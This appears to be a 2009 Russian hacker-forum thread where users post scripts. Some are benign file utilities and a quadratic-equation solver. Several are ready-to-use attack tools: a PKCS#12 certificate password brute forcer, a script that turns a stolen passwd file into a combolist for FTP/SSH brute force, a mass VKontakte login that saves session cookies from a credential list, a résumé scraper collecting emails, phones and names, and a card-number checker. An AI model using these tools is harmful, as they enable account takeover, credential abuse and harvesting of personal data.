$query_string .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n$value\r\n";
} else {
if (!isset($value[1]) && !isset($value[2])) {
$value[1] = $value[0];
$value[0] = file_get_contents($value[1]);
}
if (!isset($value[2])) $value[2] = 'application/octet-stream';
//if (!isset($value[2])) $value[2] = 'undefined/undefined';
$query_string .= "Content-Disposition: form-data; name=\"$key\"; ";
$query_string .= "filename=\"{$value[1]}\"\r\n";
$query_string .= "Content-Type: {$value[2]}\r\n\r\n{$value[0]}\r\n";
}
}
$query_string .= "--{$this->Boundary}--\r\n";
$this->Query = $query_string;
}
}
}
function Filter() {
$this->Method = strtolower($this->Method);
$this->URI = str_replace(Array('\\', 'http://', 'https://'), Array('/', '', ''), $this->URI);
$this->URI = preg_replace('#[/]+#', '/', $this->URI);
if (is_string($this->Proxy)) $this->Proxy = explode(':', $this->Proxy);
$this->ConstructQuery();
}
function SendRequest($url = false) {
if ($url) $this->URI = $url;
$this->Filter();
$url_parts = explode('/', $this->URI);
$this->Host = $url_parts[0];
$this->Path = '';
for ($i = 1; $i < count($url_parts); $i++)
$this->Path .= '/'.$url_parts[$i];
if ($this->Path == '') $this->Path = '/';
// Creating socket
$cur_try = 0; // Current try
$max_tries = 5; // Max allowed tries
while (true) {
if ($this->Proxy) {
$fp = @fsockopen($this->Proxy[0], $this->Proxy[1], $errno, $errstr, 10);
} else {
$fp = @fsockopen($this->Host, $this->Port, $errno, $errstr, 5);
}
if ($fp) break; // If everything is ok, going on without stopping
// Else retrying...
$cur_try++;
if (!$this->Silent) echo "Cannot create socket, will now try again ($cur_try/$max_tries)...\n";
if ($cur_try >= $max_tries) {
if (!$this->Silent) echo "Too many errors, please check your internet connection!\n";
return false;
}
sleep(3);
}
if (($this->Method == 'get') && (substr(0, 1, $this->Query) != '?') && ($this->Query != null))
$this->Query = '?'.$this->Query;
$query_length = strlen($this->Query);
if (!$this->UserAgent)
$this->UserAgent = 'NULL_byte\'s PHP Browser Mozilla/4.0 (compatible; MSIE 3.0; Windows NT 4.0)';
$_cookies = $this->CookiesToString($this->Cookies);
$PostContentType = 'application/x-www-form-urlencoded';
if (strtolower($this->ContentType) == 'multipart/form-data')
$PostContentType = "multipart/form-data; boundary={$this->Boundary}";
$out = Array();
if ($this->Method == 'get') {
$out[] = "GET {$this->Path}{$this->Query} HTTP/1.0";
$out[] = "Accept: */*";
$out[] = "Accept-Language: ru";
$out[] = "User-Agent: {$this->UserAgent}";
if ($this->Cookies) $out[] = "Cookie: $_cookies";
if ($this->Referer) $out[] = "Referer: {$this->Referer}";
$out[] = "Host: {$this->Host}";
} elseif ($this->Method == 'post') {
$out[] = "POST {$this->Path} HTTP/1.0";
$out[] = "Accept: */*";
$out[] = "Accept-Language: ru";
$out[] = "User-Agent: {$this->UserAgent}";
if ($this->Cookies) $out[] = "Cookie: $_cookies";
if ($this->Referer) $out[] = "Referer: {$this->Referer}";
$out[] = "Host: {$this->Host}";
if (!isset($this->AddHeaders['Content-Type']))
$out[] = "Content-Type: $PostContentType";
$out[] = "Content-Length: $query_length";
} else {
$out[] = strtoupper($this->Method)." {$this->Path}{$this->Query} HTTP/1.0";
$out[] = "Accept: */*";
$out[] = "Accept-Language: ru";
$out[] = "User-Agent: {$this->UserAgent}";
if ($this->Cookies) $out[] = "Cookie: $_cookies";
if ($this->Referer) $out[] = "Referer: {$this->Referer}";
$out[] = "Host: {$this->Host}:{$this->Port}";
}
foreach ($this->AddHeaders as $key => $value)
$out[] = "$key: $value";
$out[] = "Connection: Close";
//$out[] = "Connection: Keep-Alive";
$out = implode("\r\n", $out);
$out = str_replace("\n", "\r\n", $out);
$out = preg_replace("#[\n]+#", "\n", $out);
$out = preg_replace("#[\r]+#", "\r", $out);
$out .= "\r\n\r\n";
if ($this->Method == 'post') $out .= $this->Query;
fwrite($fp, $out);
$this->Result = '';
while (!feof($fp)) {
$line = fgets($fp, 1024);
$this->Result .= $line.'';
}
fclose($fp);
if ($this->Debug) {
echo "----->\n$out\n\n";
echo "<-----\n{$this->Result}\n\n";
}
$this->Referer = $url;
$this->Query = NULL;
$this->ContentType = NULL;
$this->AddHeaders = Array();
$this->ParseHeaders();
$this->ResultClean = ltrim(substr($this->Result, strpos($this->Result, "\r\n\r\n")));
return $this->Result;
}
function Get($url = false) {
$this->Method = 'get';
return $this->SendRequest($url);
}
function Post($url = false) {
$this->Method = 'post';
return $this->SendRequest($url);
}
function ParseHeaders() {
if (!$this->Result) return false;
$server_response = explode("\r\n\r\n", $this->Result);
$server_response = $server_response[0];
$server_response = str_replace("\r", '', $server_response);
$server_response = explode("\n", $server_response);
$result = Array();
foreach($server_response as $mixed_headers) {
if (!(strpos($mixed_headers, ': ') === false)) {
$header = explode(': ', trim($mixed_headers));
$result[$header[0]] = isset($header[1]) ? $header[1] : NULL;
}
}
$this->Headers = $result;
return $result;
}
function CookiesToString($cookie = false) {
if (!$cookie) $cookie = $this->Cookies;
if (!is_array($cookie)) return $cookie;
$cookie_string = '';
foreach ($cookie as $key => $value)
$cookie_string .= " $key=$value;";
$cookie = trim($cookie_string, '; ');
return $cookie;
}
function CookiesToArray($cookie = false) {
if (!$cookie) $cookie = $this->Cookies;
if (is_array($cookie)) return $cookie;
$cookie = explode('; ', $cookie);
$cookie_array = Array();
for ($i = 0; $i < count($cookie); $i++) {
$c = explode('=', $cookie[$i]);
$cookie_array[$c[0]] = $c[1];
}
return $cookie_array;
}
function GetCookies($as_string = false) {
if (!$this->Result) return false;
$data = explode("\r\n\r\n", $this->Result);
$data = $data[0];
$data = str_replace("\r", '', $data);
$data = explode("\n", $data);
$raw_cookies = Array();
foreach ($data as $d) {
$d = explode(' ', $d);
if (strtolower($d[0]) == 'set-cookie:') {
$raw_cookies[] = $d[1];
}
}
$cookies = Array();
foreach ($raw_cookies as $cookie) {
$cookie = explode('=', $cookie);
$cookies[$cookie[0]] = trim($cookie[1], '; ');
}
if ($as_string)
$cookies = $this->CookiesToString($cookies);
return $cookies;
}
}
?>
скрипт для объединения тхт файлов в папке, кидаем в папку и запускаем, пишет в файл out.txt
open OUT, '>out.txt';
my @files = filesindir('.');
for my $file (@files) {
next unless (($file =~ /\.txt$/) && ($file ne 'out.txt'));
open FILE, '<'.$file;
while (my $line = <FILE>) {
print OUT $line;
}
close FILE;
print OUT "\n";
}
close OUT;
sub filesindir {
my $dir = shift;
my $limit = shift;
opendir(DIR, $dir);
my @dots = grep { $_ !~ /^\./ && -f "$dir/$_" } readdir(DIR);
closedir DIR;
if ($limit) {
@dots = shuffle(@dots);
@dots = @dots[1..$limit];
}
return wantarray?@dots:\@dots;
}
Многопоточный парсер беков из яхи
puts Time.now
def urlescape(string)
string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do
'%' + $1.unpack('H2' * $1.size).join('%').upcase
end.tr(' ', '+')
end
require 'net/http'
numthreads = 10
input = File.new('input.txt', 'r')
output = File.new('output.txt', 'w')
threads = Array.new
1.upto(numthreads) do |w|
threads << Thread.new(w) do |w|
while line = input.gets
next if line =~ /^#/
yurl = "/export?p=#{urlescape(line.chomp)}&bwm=i&fr=sfp"
line = Net::HTTP.get('siteexplorer.search.yahoo.com', yurl)
line.scan(/\t(.+?)\t/) do |url|
output.write(url[0]+"\n") unless url[0].index('http').nil?
end
end
end
end
threads.each do |t| t.join end
input.close
output.close
puts Time.now
shellz[21h]
04.07.2009, 01:27
Брут пасса к сертификатам. Маленький пример)
<?php
if(!extension_loaded("openssl")) exit;
$passlist = array('12345', 'qwerty', '123321', '0123', 'qazwdc');
if(!$file = 'c:/cert.p12') exit; // Path certif...
$fd = fopen($file, 'r');
$p12buf = fread($fd, filesize($file));
fclose($fd);
echo "[+] Brute certificate (Pkcs12) password!\n";
foreach($passlist as $pass) //for($i = 0; $i < pow(10,8); $i++)
if (openssl_pkcs12_read($p12buf, $p12cert, $pass) ) die(" - Pass: ".$pass." Good! \n");
?>
login999
06.07.2009, 14:38
[Python] RU GEO IP Checker
скрипт для проверки русских IP адресов через сайт http://ipgeobase.ru/ , насколько я понял то они там мутят это дело через гугль, ограничение - 4к IP за один раз, прокся - для тех кто сидит в инете за проксей, остальным оставить пустым
Версия Python - 2.6.2, требует Tkinter (на windows установлен по умолчанию)
"Так как нужно" переделывать лень, сам не люблю глобалы но лень их переделывать , тем более что тут пох)
Скриншот :
http://img248.imageshack.us/img248/4263/screenshotrugeoipchecke.th.png (http://img248.imageshack.us/i/screenshotrugeoipchecke.png/)
#!usr/bin/env/python
#-*encoding:utf-8-*-
#RU GEO IP Checker
#(c) login999
import re
import urllib2
import tkFileDialog
import tkMessageBox
from Tkinter import *
from xml.dom.minidom import Document
import xml.etree.cElementTree
def Gui():
request_xml = None
answer_xml = None
def Load_Button():
global request_xml
try:
with open(tkFileDialog.askopenfilename()) as source_ips:
ips_list = re.findall(r"(\d+\.\d+\.\d+\.\d+)", source_ips.read())
request_xml = create_xml(ips_list)
GetButton["state"] = "normal"
ProxyEntry["state"] = "normal"
LoadButton["state"] = "disabled"
except Exception, e:
tkMessageBox.showerror(u"Ошибка", e)
def Save_Button():
global answer_xml
try:
with open(tkFileDialog.asksaveasfilename(), "w") as out:
answer = parse_answer(answer_xml)
out.write(answer)
LoadButton["state"] = "normal"
SaveButton["state"] = "disabled"
except Exception, e:
tkMessageBox.showerror(u"Ошибка", e)
def Get_Button():
global answer_xml
global request_xml
proxy = ProxyEntry.get()
if proxy:
proxy_handler = urllib2.ProxyHandler( { "http": "http://"+proxy+"/" } )
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
else:
pass
request = urllib2.Request("http://194.85.91.253:8090/geo/geo.html", request_xml)
try:
answer_xml = urllib2.urlopen(request).read()
GetButton["state"] = "disabled"
ProxyEntry["state"] = "disabled"
SaveButton["state"] = "normal"
except Exception, e:
tkMessageBox.showerror(u"Ошибка", e)
MainWindow = Tk()
MainWindow["bd"] = 5
MainWindow.title(u"RU GEO IP Checker")
MainWindow.resizable(width=False, height=False)
ProxyFrame = Frame(MainWindow)
ProxyFrame.grid(row=0, column=0, columnspan=2)
ProxyLabel = Label(ProxyFrame, text=u"Прокси:", anchor="w")
ProxyLabel.grid(row=0, column=0)
ProxyEntry = Entry(ProxyFrame, state="disabled")
ProxyEntry.grid(row=0, column=1)
LoadButton = Button(MainWindow, text=u"Ip адреса", font="system 10", width=12, command=Load_Button)
LoadButton.grid(row=1, column=0, sticky="e")
SaveButton = Button(MainWindow, text=u"Сохранить", font="system 10", width=12, height=1, state="disabled", command=Save_Button)
SaveButton.grid(row=2, column=0, sticky="e")
GetButton = Button(MainWindow, text=u"Получить", font="system 10", width=12, state="disabled", command=Get_Button)
GetButton.grid(row=1, column=1, rowspan=2, sticky="wns")
MainWindow.mainloop()
def parse_answer(answer_xml):
full_answer = ""
answer = xml.etree.cElementTree.fromstring(answer_xml)
answer_ips = answer.getchildren()
for ip in answer_ips:
ip_answer = ""
ip_adress = ip.get("value")
ip_answer = "{0}|".format(ip_adress)
ip_info = ip.getchildren()
for element in ip_info:
ip_answer = "{0}{1}|".format(ip_answer, element.text.encode("cp1251"))
full_answer = "{0}{1}\n".format(full_answer, ip_answer)
return full_answer
def create_xml(ips_list):
doc = Document()
ipquery = doc.createElement("ipquery")
doc.appendChild(ipquery)
fields = doc.createElement("fields")
all = doc.createElement("all")
fields.appendChild(all)
inetnum = doc.createElement("inetnum")
fields.appendChild(inetnum)
inet_descr = doc.createElement("inet-descr")
fields.appendChild(inet_descr)
inet_status = doc.createElement("inet-status")
fields.appendChild(inet_status)
city = doc.createElement("city")
fields.appendChild(city)
region = doc.createElement("region")
fields.appendChild(region)
district = doc.createElement("district")
fields.appendChild(district)
lat = doc.createElement("lat")
fields.appendChild(lat)
lng = doc.createElement("lng")
fields.appendChild(lng)
ipquery.appendChild(fields)
ip_list = doc.createElement("ip-list")
for ip in ips_list:
ip_element = doc.createElement("ip")
ip_value = doc.createTextNode(ip)
ip_element.appendChild(ip_value)
ip_list.appendChild(ip_element)
ipquery.appendChild(ip_list)
return doc.toxml()
if __name__ == "__main__":
Gui()
mr.gr33n
07.07.2009, 20:16
Чекер CC на перле, может и пригодится =)
#!usr/bin/perl
system('cls');
system ('color A');
print " \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\ \n";
print "--###########################--\n";
print "--#### C0d3d by YOSYA ####--\n";
print "--##### 44I-44I-448 ######--\n";
print "--###########################--\n";
print " ///////////////////////////--\n";
print "\n";
print "\n";
use LWP::UserAgent;
print "Enter CC number \n> ";
$cc=<stdin>;
$url="http://credit-card-information.elliottback.com/?number=".$cc;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@info=$answer->content =~ /<b>(.*)<\/b>/g;
print join "\n", @info;
print "\n";
print "\n";
print "\n";
print "Udachi )))\n";
Понадобилось тут привести знакомому лист прокси после брута IPD в нормальный вид, а програмку он, как водится, готовую не нашел :( Вот набросал простенький код, может кому пригодится..
#!/usr/bin/env python3
import sys
filename = sys.argv[1]
with open(filename) as fin:
with open("out.txt", "a") as fout:
for line in fin:
i = 0
i = line.find(";", i)
if i > -1:
fout.write(line[0:i] + '\n')
else:
fout.write(line + '\n')
[+] Откопал у себя ) Делает из файлов с именами и зонами домены. Делал, когда писал чекер доменов.
#!/usr/bin/env python3
import sys
def get_from_file(filename):
temp = []
for line in open(filename):
temp.append(line.strip())
return temp
fnames = sys.argv[1]
fzones = sys.argv[2]
fileout = open("out.txt", "w")
for name in get_from_file(fnames):
for zone in get_from_file(fzones):
fileout.write("{0}.{1}\n".format(name,zone))
VKONTAKTE.RU - Скрипт сохранения фотографий с альбомов.
Скрипт написан на РНР, посредством cURL, сохраняет из указанного альбома все фотографии, можно как свои так и чужие "дампить" фотки.
Скрины:
http://s52.radikal.ru/i135/0907/a6/33b25de2ba14t.jpg (http://radikal.ru/F/s52.radikal.ru/i135/0907/a6/33b25de2ba14.png.html)
http://s48.radikal.ru/i122/0907/d4/15f9bbf89993t.jpg (http://radikal.ru/F/s48.radikal.ru/i122/0907/d4/15f9bbf89993.png.html)
DOWN (http://depositfiles.com/files/3k1q0fbg1)
ЗЫ нестал запихивать в архив фотки, поленился =)
Вконтакте.ру
Скрипт логинится вконтакте и сохраняет куки в файл.
<?php
// vkCookie by art2222
require_once 'class.php';
$cs = new phpsploit();
$out = array();
foreach (file('logins.txt') as $value)
{
$cs -> cookiejar('1');
$cs -> allowredirection('1');
list($email, $pass) = explode(':', trim($value));
$cs -> post('http://pda.vkontakte.ru/login?pda=index&acknowledge=0',"email=$email&pass=$pass");
array_push($out,$cs->cookie_str);
}
file_put_contents('cookie.txt',implode($out,"\r\n"));
?>
Скачать вместе с либой (http://slil.ru/27828540)
Делаем скриншот любого сайта (браузер Safari)
<?php
$url = 'http://ya.ru';
//Тут можем установить качество картинки и ширину экрана.
$url = 'http://www.browsrcamp.com/index.php?url='.rawurlencode($url).'&width=1280&quality=2';
preg_match('#<a href="(.*)" target="_blank">#i', @file_get_contents($url) , $arr);
echo $arr[1]; //Здесь ссылка на скриншот.
?>
По заказу из этой (http://forum.antichat.ru/thread128885.html) темы написал парочку небольших реплэйсеров.
1. Создает файл, в котором указанная последовательность символов заменена на новую.
#!/usr/bin/env python3
filename = str(input("Enter file name: "))
S_old = str(input("Enter first string: "))
S_new = str(input("Enter second string: "))
with open(filename) as fin:
with open("out.txt", "a") as fout:
for line in fin:
if line.find(S_old) == -1:
fout.write(line)
else:
new_line = line
for i in range(new_line.count(S_old)):
new_line = new_line.replace(S_old, S_new)
fout.write(new_line)
2. Создает файл, в котором все транслитерируемые буквы английского алфавита заменены на русские, а русские буквы, имеющие внешне сходные аналоги в английском алфавите, на английские.
#!/usr/bin/env python3
import sys
Sym_for_change_ru = "аеорсухАВЕКМНОРСТХ"
Sym_for_change_en = "aeopcyxABEKMHOPCTX"
def Change_symbol(sym, lang):
if lang == "ru":
return Sym_for_change_en[Sym_for_change_ru.find(sym)]
else:
return Sym_for_change_ru[Sym_for_change_en.find(sym)]
filename = sys.argv[1]
Buffer = None
with open(filename) as fin:
with open("out.txt", "w") as fout:
for line in fin:
for word in line:
for symbol in word:
if symbol in Sym_for_change_ru:
fout.write(Change_symbol(symbol, "ru"))
elif symbol in Sym_for_change_en:
fout.write(Change_symbol(symbol, "en"))
else:
fout.write(symbol)
zifanchuck
12.07.2009, 17:22
Вот набросал скриптик. Решения квадратных уравнений. Для школьников самый раз :D
<head>
<title>Квадратное уравнения</title>
<link rel="stylesheet" type="text/css" media="all" href="a.css">
</head>
<body>
<br><br><br><br>
<form method="get"><center>Введите задание</center><center>
<input size="2" type=text name=a value="<?php echo $a;?>" >x2+
<input size="2" type=text name=b >x
<input size="2" type=text name=c >=0 <br>
<input type=submit value=Обработать></form></center>
<br><br>
<br><br><br>
<centr><h1>
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
$d = $b*$b-4*$a*$c;
@$x1 = (-$b-sqrt($d))/(2*$a);
@$x2 = (-$b+sqrt($d))/(2*$a);
if (!$a) echo 'заполните поля';
elseif ($d<0)
{
echo $a.'x<sup>2</sup>+'.$b.'x+'.$c.'=0<br>';
echo 'D='.$b.'<sup>2</sup>-4'.$a.'*'.$c.'<br>';
echo 'D='.$d.'<0 Не имеет решения';
}
else
{
echo $a.'x<sup>2</sup>+'.$b.'x+'.$c.'=0<br>';
echo 'D='.$b.'<sup>2</sup>-4'.$a.'*'.$c.'<br>';
echo 'D='.$d;
echo '='.sqrt($d).'<sup>2</sup><br>';
echo 'X<sub>1</sub>='.'-'.$b.'-'.sqrt($d).'/2'.'*'.$a;
echo '=<strong>'.$x1.'</strong><br>';
echo 'X<sub>2</sub>='.'-'.$b.'+'.sqrt($d).'/2'.'*'.$a;
echo '=<strong>'.$x2.'</strong><br><br><br>';
echo 'Ответ: X<sub>1</sub>='.$x1.'; X<sub>2</sub>='.$x2;
}
?>
</h1></center>
примеры
http://s59.radikal.ru/i166/0907/03/336f2bc83839.jpg
http://i019.radikal.ru/0907/7f/ccb24cbc2501.jpg
Пошу не пинать))
Скрипт парсинга файла passwd для создания комболиста из логинов.
Пригодится для брута FTP, SSH, etc, так как часто бывает, что на больших хостингах логин и пароль какого-нибудь пользователя (пользователей) совпадают.
#!/usr/bin/python
import sys
if len(sys.argv) != 3:
print "\nUsage: pparser.py <passwd file> <output file>"
try:
out = open (sys.argv[2], 'w')
for line in open(sys.argv[1], 'r').readlines():
l=line.split(':')[0]
out.write(l+':'+l+'\n')
print "\n[+] Successfull! Combolist for bruteforce created"
out.close()
except:
print "\n[-] Error: check your passwd file path"
pass
может кому пригодится часть кода, взято с обменника.
<?php
*******
$filename = "./uploads/".$file;
// set the download rate limit
$download_rate = 150;
// set the download rate limit (premium)
// $download_rate = 5000;
// send headers
header("Content-Type: application/unknown");
header("Content-type: application/octet-stream"); // FireFox
header("Content-type: application/octetstream"); // IE
header("Content-Disposition: inline; filename=". str_replace(" ", "_", $file));
header('Content-length: ' . (string)(filesize($filename)));
// flush content
flush();
// open file stream
$f = fopen($filename, "r");
while(!feof($f)) {
// send the current file part to the browser
print fread($f, round($download_rate * 1024));
// flush the content to the browser
flush();
// sleep one second
sleep(1);
}
// close file stream
fclose($f);
*****
?>
zifanchuck, комплексные числа где?
[underwater]
22.07.2009, 16:24
Cегодня понадобился, думаю, может еще кому-нибудь пригодится.
# gdns.pl
# Index all subdomains from a domain without using zone transfer or dns resolving.
# Intended use for this script is to enumerate all subdomains for a given domain.
# Author: DiabloHorn
# Date: 16-02-2008
# Version: 0.3
#changes
# fixed the - bug
# fixed the hang bug when it reached the end of the google results
#
###TODO###
# implement rotating proxy support
###POSSIBLE BUGS###
# the need to ctrl+c if results are less then 100
use LWP::UserAgent;
use HTML::LinkExtor;
use URI::URL;
$numArgs = $#ARGV + 1;
if($numArgs != 1){
print "gdns.pl <base domain>\n";
print "Example: gdns.pl kd-team.com\n";
print "Should find all subdomains indexed by google.";
exit(1);
}
#intentionally not using quotemeta, cause it fucks up in the search
$searchitem = $ARGV[0];
#if you change this....change the regexes.
my $baseSEngine = "http://www.google.com";
#start url for searching
$url = URI->new("$baseSEngine/search?hl=en&q=site%3A$searchitem");
$ua = LWP::UserAgent->new;
$ua->agent('Opera/9.20 (Windows NT 6.0; U; en)'); #this should help us a little to fool google.
print " starting subdomain search on $searchitem\n";
#hash containing all found sub domains
my %allurls = ();
#hash containing all the "next" urls from google
my %nexturls = ();
#callback for each request to parse the page
sub callback {
my($tag, %attr) = @_;
#for this poc we are only interested in the <a href> tags
return if $tag ne 'a';
my @links = values %attr;
foreach $link(@links){
#extract all urls that contain the base domain
if($link =~ m!(^(http://|https://|ftp://|irc://)(([a-zA-Z0-9\-\.]*)(\.+))*$searchitem)!io){
if (!exists $allurls{$1}){
$allurls{$1} = $1;
print "$1\n";
}
}
#extract the google next urls
if($link =~ m!/search\?q=site:$searchitem&hl=\w+&start=\d+&sa=\w!io){
if (!exists $nexturls{$link}){
$nexturls{$link} = $link;
}
}
}
}
#setup the callback
$p = HTML::LinkExtor->new(\&callback);
# Request document and parse it as it arrives
$res = $ua->request(HTTP::Request->new(GET => $url),sub {$p->parse($_[0])});
$visitedGURLS = 0;
#for the moment beeing assume 10000 results.
while(1){
if($visitedGURLS == scalar keys(%nexturls)){
last;
}
foreach $nurl(sort keys(%nexturls)){
my $value = $nexturls{$nurl};
#prevent parsing pages twice
if($value ne "visited"){
my $temp = URI->new($baseSEngine.$value);
#you can comment this out if you only want clean finds.
#print " searching next page $temp\n";
$res = $ua->request(HTTP::Request->new(GET => $temp),sub {$p->parse($_[0])});
$nexturls{$nurl} = "visited";
$visitedGURLS++;
sleep 3; #try and prevent getting blocked by google
}
}
}
Парсер мейлов по резюме на rabota.mail.ru
country - код страны
lang - язык
sex - пол
edu - образование
Все эти значения можно получить в сорце http://rabota.mail.ru/resume_search/
delay - задержка в секундах
get_fio (1 или 0) - получать ли ФИО
get_phone (1 или 0) - получать ли телефон (если есть)
Резальтат будет записан в файл output.txt в кодировке utf-8. Кому нужна другая кодировка правьте сами :)
Формат: "email@host.domain", "phone", "fio"
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import urllib
import time
country = '0'
lang = '0'
sex = '0'
edu = '0'
delay = 0
get_fio = 1
get_phone = 1
page = 1
count = 1
output_file = open('output.txt', 'w')
while True:
source = urllib.urlopen('http://rabota.mail.ru/resume_search/?go=1&search_type=1&order_type=1&country=' + country + '&spec_group=0&salary_currency=2&lang=' + lang + '&lang_level=0&sex=' + sex + '&edu=' + edu + '&resume_on_page=3&publics=0&table=0&page=' + str(page)).read()
if len(re.findall('<div class="full"><a href="/resume/(.*?)/"', source)) != 0:
for id in re.findall('<div class="full"><a href="/resume/(.*?)/"', source):
vacancy = urllib.urlopen('http://rabota.mail.ru/resume/' + id).read()
email = re.findall('<td><a href="mailto:.*?">(.*?)</a></td>', vacancy)[0]
output = '"' + email + '"'
if get_phone:
try:
phone = re.findall('\t\t\t\t\t\t<td>(\+.*?)</td>', vacancy)[0].replace(' ', '')
except:
phone = 'None'
output += ', "' + phone + '"'
if get_fio:
fio = re.findall('<div class="cmp_name">(.*?)<br />', vacancy)[0]
output += ', "' + fio + '"'
print str(count) + '\t' + email
output_file.write(output.decode('windows-1251').encode('utf-8') + '\n')
output_file.flush()
count += 1
time.sleep(delay)
page += 1
else:
break
Данный скрипт нужен для определения статуса страницы в социальной сети vkontakte.ru... писал для себя:
index.php
<?
session_start();
# Made by
# RE5PE(1
# ICQ: 8-59-59-1
if ($_SESSION['var'] == 'false') {
$_SESSION['error'] = null;
}
?>
<html>
<!--Made by RE5PE(!-->
<head>
<title>Проверка статуса в vkontakte.ru!</title>
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<?
include "menu.php";
?>
<div id="top">
<form action="check.php" method="POST">
Чтобы проверить статус человека в социальной сети vkontakte.ru, введите id страницы в поле ниже:<br>
<br>
ID: <input type="text" maxlength="15" name="id" size="30" id="id">
<input type="submit" value="Проверить!" id="b">
</form>
<? if ($_SESSION['var'] == 'true') {
echo "<div id='error'>";
echo $_SESSION['error'];
echo "</div>";
$_SESSION['var'] = 'false';
}
?>
</div>
<div id="main">
Область быстрой проверки:<br>
<br>
<?
echo "<TABLE id='t'>";
for ($i=1; isset($_COOKIE['id'.$i]); $i++) {
echo "<TR><TD>".$_COOKIE['av'.$i]."</TD>";
echo "<TD valign='top'> ID: ";
echo $_COOKIE['id'.$i]."<br>";
echo $_COOKIE['fio'.$i]."<br><br>";
$im = $_COOKIE['id'.$i];
echo "
<form action='check.php' method='POST'>
<input type='hidden' name='id' value='$im'>
<input type='submit' value='Проверить!' id='b'>
</form>
";
echo "</TD></TR>";
}
$max = $_COOKIE['test'];
echo "</TABLE> <form action='check.php' method='POST'>
<input type='hidden' name='clear' value='$max'>
<input type='submit' value='Очистить список!' id='b2'>
</form>";
?>
</div>
<div id="c">
<center>Copyright © RE5PE(1 2009<br>
<a href="http://www.free-lance.ru/users/1RESPECT1/" target="_blank" title="удаленная работа, менеджеры, дизайнеры, программисты"><img src="http://www.free-lance.ru/service/referral/images/btn_risker2.gif" border="0" alt="1RESPECT1 на Free-lance.ru"></a></center>
</div>
</body>
<!--Made by RE5PE(!-->
</html>
menu.php
<div id="top0">
<a href="index.php" style="color: white;">Home</a> <font style="color: white;">|</font> <a href="about.php" style="color: white;">About</a>
</div>
check.php
<?php
# Made by
# RE5PE(1
# ICQ: 8-59-59-1
session_start();
$www = 'http://vkontakte.ru/login.php';
include "conf.php";
set_time_limit(0);
if (isset($_POST['clear'])) {
$dat = mktime(0,0,0,1,1,2020);
$clear = $_POST['clear'];
setcookie('test', '', $dat);
$clear++;
for ($i=1; $i<$clear; $i++) {
setcookie('id'.$i, '', $dat);
setcookie('av'.$i, '', $dat);
setcookie('fio'.$i, '', $dat);
}
$_SESSION['error'] = "Del!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if (isset($_POST['id'])) {
$id = $_POST['id'];
}
if ($id == '')
{
$_SESSION['error'] = "Слышь, вася! Заполни поле то, да!?";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if (strlen($id) > 15)
{
$_SESSION['error'] = "Ты вводишь больше 15 символов!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if (ctype_digit($id) != 'true') {
$_SESSION['error'] = "Ты думай чё пишешь, вася! Число вводи!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
$id = htmlspecialchars(stripslashes($id));
$id = trim($id);
$id = str_replace("–", "", $id);
$id = str_replace("'", "", $id);
$error = false;
function curl($url,$post)
{
$curl = curl_init(); //Инициализация CURL
curl_setopt($curl, CURLOPT_HEADER, true); //вывод заголовков в результате
curl_setopt($curl, CURLOPT_POST, True); //Включаем использование метода POST
curl_setopt($curl, CURLOPT_RETURNTRANSFER, True); //Включаем вывод результата
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); //Задаём используемый ююезр-агент
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, True); //Включаем обработку редиректов
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt"); //Задаём файл для кукисов
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt"); //Задаём файл для кукисов
curl_setopt($curl, CURLOPT_URL, $url); //Задаём сайт отправки
curl_setopt($curl, CURLOPT_POSTFIELDS, $post); //Задаём текст отправки POST (переменная=значение)
$result = curl_exec($curl); //Выполняем запрос
curl_close ($curl); //Закрываем CURL
return $result;
}
$result = curl($www, $post); // авторизация
if (!$result) {
$_SESSION['error'] = "Ошибка авторизации. Попробуйте позже...";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
flush();
$ch=curl_init('http://vkontakte.ru/search.php?id='.$id); // поиск страницы с указ id
if (!$ch) {
$_SESSION['error'] = "Ошибка! Попробуйте позже...";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
curl_setopt($ch,CURLOPT_FOLLOWLOCATION ,true );
curl_setopt($ch,CURLOPT_RETURNTRANSFER ,true );
curl_setopt($ch,CURLOPT_COOKIEFILE ,'cookie.txt' );
$res=curl_exec($ch);
if (!$res) {
$_SESSION['error'] = "Ошибка! Попробуйте позже...";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
$av = preg_match('/\<img[^\>]+src=(["\'])(.+?)\\1[^\>]*\>/is',$res,$found);
$av = "<img src=$found[2] border=1px solid black hspace=20 vspace=10><br>";
$on = strstr($res,"<span class='bbb'>Online</span>");
$in="
<a href='$u/index.php'>На главную</a>";
if (preg_match_all('#<div style="overflow: hidden;"><a href=.*[^>]>(.*)</a></div>#isU',$res,$name)==false) {
if (preg_match_all('#<div style="overflow: hidden;">(.*)</div>#isU',$res,$name)==false) {
$error = true;
}
else
{
}
}
?>
<html>
<!--Made by RE5PE(!-->
<head>
<title>Проверка статуса в vkontakte.ru!</title>
<link href="style.css" rel="stylesheet" type="text/css">
<base href="http://vkontakte.ru">
</head>
<body>
<div id="top0">
<a href="<? echo $u; ?>/index.php" style="color: white;">Home</a> <font style="color: white;">|</font> <a href="<? echo $u; ?>/about.php" style="color: white;">About</a>
</div>
<div id="top">
<form action="<? echo $u; ?>/check.php" method="POST">
Чтобы проверить статус человека в социальной сети vkontakte.ru, введите id страницы в поле ниже:<br>
<br>
ID: <input type="text" maxlength="15" name="id" size="30" id="id">
<input type="submit" value="Проверить!" id="b">
</form>
<? if ($_SESSION['var'] == 'true') {
echo "<div id='error'>";
echo $_SESSION['error'];
echo "</div>";
$_SESSION['var'] = 'false';
}
?>
</div>
